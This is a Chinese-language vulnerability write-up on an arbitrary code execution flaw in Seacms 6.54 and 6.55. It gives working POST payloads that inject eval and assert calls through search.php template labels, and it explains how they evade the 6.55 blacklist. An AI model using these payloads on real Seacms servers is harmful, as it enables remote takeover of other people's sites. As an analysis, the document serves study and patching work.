Seacms 6.54 & 6.55 任意代码执行漏洞分析

0x01. 漏洞利用方式

6.54版本 POC:

URL:http://[ip]:[port]/search.php
POST:searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=({searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[Cyc1e]))&Cyc1e=phpinfo();

6.55版本 POC:

URL:http://[ip]:[port]/search.php?phpinfo();
POST:searchtype=5&searchword={if{searchpage:year}&year=:as{searchpage:area}}&area=s{searchpage:letter}&letter=ert{searchpage:lang}&yuyan=($_SE{searchpage:jq}&jq=RVER{searchpage:ver}&&ver=[QUERY_STRING]));/*

0x02. 漏洞分析

版本:Seacms v6.54

首先Seacms的外部变量GET、POST提交方式在/include/common.php中进行了申明:


外部传参方式

所以在提交外部变量时可以通过GET方式、也可以通过POST方式。漏洞的入口点在于search.php中的变量$content,其中变量$searchword会传递进入$content且可控,$searchword分别经过RemoveXSS()函数和cn_substr()的处理,定位变量$searchword:search.php:16行


searchword

查看第一层处理函数RemoveXSS():/include/common.func.php:1657行


RemoveXSS()

可以看出RemoveXSS()函数对变量$searchword进行XSS过滤,避免被XSS攻击,随后调用函数cn_substr()对变量$searchword进行处理定位查看:/include/common.func.php:124行


cn_substr()

函数cn_substr()对变量$searchword进行字符长度限制,限制字符长度不超过20,初步的两层处理视乎让人感觉变量$searchword相对比较安全,我们继续跟进,$searchword随后根据程序流将传入echoSearchPage(),在执行echoSearchPage()之前,有一个判断语句:search.php:56行


searchtype

所以在构造Payload时需要给变量$searchtype赋值为‘5’,才能够继续执行程序流,变量$searchword随后传递进入变量$content中,并且进行了多次的str_replace替换处理:search.php:159行


$content处理

多次替换处理变量$content后,将其传入parseIf()中

$content=$mainClassObj->parseIf($content);//search.php:216行

跟进查看函数parseIf():/include/main.class.php:3149行


parseIf()

变量$labelRule、$labelRule2、$labelRule3定义了正则规则,通过preg_match_all将$content进行正则匹配,即匹配出‘{if:’和‘{end if}’中的字符串,并将匹配的结果传入到$iar中,随后将数组$iar[1][$m]中的字符赋值给变量$strIf,并在最终的条件判断中传入eval()函数@eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");
所以如果变量$strIf的值可以恶意构造,那么就可以将恶意代码传入eval()并执行,这也是漏洞的主要,所里整个漏洞利用链在于:
$searchword->$content->parseIf($content)->preg_match_all()->$iar->$strIf->eval()。

构造POC:

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=({searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[Cyc1e]))&Cyc1e=phpinfo();

即其中searchword={if{searchpage:year}可以通过RmoveXSS()的过滤,也可以通过cn_ substr()的20字符的限制, echoSearchPage()对searchpage标签进行多次替换处理处理,最终$content中会包含:eval(($_POST[Cyc1e]))


查看网页源码

$content传入parseIf()后进行正则匹配处理最终传入变量$strIf,打印变量$strIf查看:


$strIf

可以看出$content中包含的恶意代码eval(($_POST[Cyc1e]))被传入到变量$strIf中,并最终通过eval()函数达到恶意代码的执行,即通过恶意代码实现任意代码执行。

版本:6.55

6.55版本针对该漏洞,在parseIf()中添加了一个黑名单:/include/main.class.php:3106


黑名单

但是通过search.php中$content构造的恶意代码仍然能正常的传递到parseIf()函数中,即漏洞的利用原来是没有变的,而黑名单只是过滤了一些敏感函数和_GET、_POST、_REQUEST和_COOKIE传参方式,而HTTP中传递参数还有$_SERVER方式,所以构造$searchword时,通过利用$_SERVER来获取变量已然能够达到任意代码执行的目的。构造$searchword(放freebuf中大佬的):

searchtype=5&searchword={if{searchpage:year}&year=:as{searchpage:area}}&area=s{searchpage:letter}&letter=ert{searchpage:lang}&yuyan=($_SE{searchpage:jq}&jq=RVER{searchpage:ver}&&ver=[QUERY_STRING]));/*

通过echoSearchPage()中对searchpage标签的替换,$content中包含

if(assert($_SERVER[QUERY_STRING]));/*

通过访问URL:http://[ip]:[port]/search.php?phpinfo();即可触发利用,并且同样可以达到任意代码执行的效果,system()函数的执行方式这里就不多说了。


phpinfo()

漏洞分析仅用于学习!!!一切实际攻击利用行为概不负责。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 211,817评论 6 492
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,329评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,354评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,498评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,600评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,829评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,979评论 3 408
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,722评论 0 266
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,189评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,519评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,654评论 1 340
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,329评论 4 330
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,940评论 3 313
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,762评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,993评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,382评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,543评论 2 349

推荐阅读更多精彩内容